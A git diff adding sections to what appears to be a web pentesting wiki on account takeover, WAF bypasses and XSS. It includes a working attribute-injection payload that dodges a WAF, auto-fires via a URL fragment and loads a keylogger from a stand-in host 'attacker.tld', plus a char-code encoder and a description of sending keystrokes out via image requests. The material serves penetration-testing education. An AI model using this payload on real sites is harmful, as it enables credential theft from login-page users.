diff --git a/src/pentesting-web/account-takeover.md b/src/pentesting-web/account-takeover.md index 9e9169fb8b2..5980888c5b4 100644 --- a/src/pentesting-web/account-takeover.md +++ b/src/pentesting-web/account-takeover.md @@ -63,6 +63,8 @@ If you find a XSS in application you might be able to steal cookies, local stora xss-cross-site-scripting/ {{#endref}} +- Attribute-only reflected payloads on login pages can hook `document.onkeypress`, exfiltrate keystrokes through `new Image().src`, and steal credentials without submitting the form. See [Attribute-only login XSS behind WAFs](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) for a practical workflow. + ## **Same Origin + Cookies** If you find a limited XSS or a subdomain take over, you could play with the cookies (fixating them for example) to try to compromise the victim account: @@ -151,6 +153,7 @@ With the new login, although different cookies might be generated the old ones b ## References +- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) - [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) - [https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea](https://dynnyd20.medium.com/one-click-account-take-over-e500929656ea) - [0xdf – HTB Era: security-question IDOR & username oracle](https://0xdf.gitlab.io/2025/11/29/htb-era.html) diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index 4ecb1553850..467864df568 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -192,6 +192,10 @@ It's also mentioned that depending on **how some WAFs understand the context** o These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS). +### Inline JavaScript first-statement inspection gaps + +Some inline-inspection rulesets only parse the first JavaScript statement present inside an event handler. By prefixing a harmless-looking expression in parentheses followed by a semicolon (for example `onfocus="(history.length);payload"`), the malicious code placed after the semicolon bypasses inspection while the browser still executes it. Combining this with fragment-induced focus (e.g., appending `#forgot_btn` so the targeted element is focused on load) allows click-less XSS that can immediately call `$.getScript` and bootstrap phishing tooling such as keyloggers. See the [attribute-only login XSS case study](xss-cross-site-scripting/README.md#attribute-only-login-xss-behind-wafs) derived from [this research](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/). + ### H2C Smuggling @@ -238,6 +242,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri ## References +- [https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) - [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) - [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index e2f1d4c4d43..6e9b3a06547 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -62,6 +62,35 @@ If your input is reflected inside the value of the attribute of a tag you could 3. If you **cannot escape from the attribute** (`"` is being encoded or deleted), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** 4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln (you will need some kind of social engineer to exploit this): **`" accesskey="x" onclick="alert(1)" x="`** +#### Attribute-only login XSS behind WAFs + +A corporate SSO login page reflected the OAuth `service` parameter inside the `href` attribute of ``. Even though `<` and `>` were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as `" onfocus="payload" x="`. + +1. **Inject the handler:** Simple payloads like `onclick="print(1)"` were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute: `onfocus="(history.length);malicious_code_here"`. +2. **Auto-trigger it:** Browsers focus any element whose `id` matches the fragment, so appending `#forgot_btn` to the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click. +3. **Keep the inline stub tiny:** The target already shipped jQuery. The handler only needed to bootstrap a request via `$.getScript(...)` while the full keylogger lived on the attacker's server. + +**Building strings without quotes** + +Single quotes were returned URL-encoded and escaped double quotes corrupted the attribute, so the payload generated every string with `String.fromCharCode`. A helper function makes it easy to convert any URL into char codes before pasting it into the attribute: + +```javascript +function toCharCodes(str){ + return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});` +} +console.log(toCharCodes('https://attacker.tld/keylogger.js')) +``` + +A resulting attribute looked like: + +```html +onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}" +``` + +**Why this steals credentials** + +The external script (loaded from an attacker-controlled host or Burp Collaborator) hooked `document.onkeypress`, buffered keystrokes, and every second issued `new Image().src = collaborator_url + keys`. Because the XSS only fires for unauthenticated users, the sensitive action is the login form itself—the attacker keylogs usernames and passwords even if the victim never presses "Login". + Weird example of Angular executing XSS if you controls a class name: ```html @@ -1972,6 +2001,7 @@ other-js-tricks.md ## References +- [Turning a harmless XSS behind a WAF into a realistic phishing vector](https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/) - [XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail](https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/) - [HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF](https://hackerone.com/reports/2902856) - [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)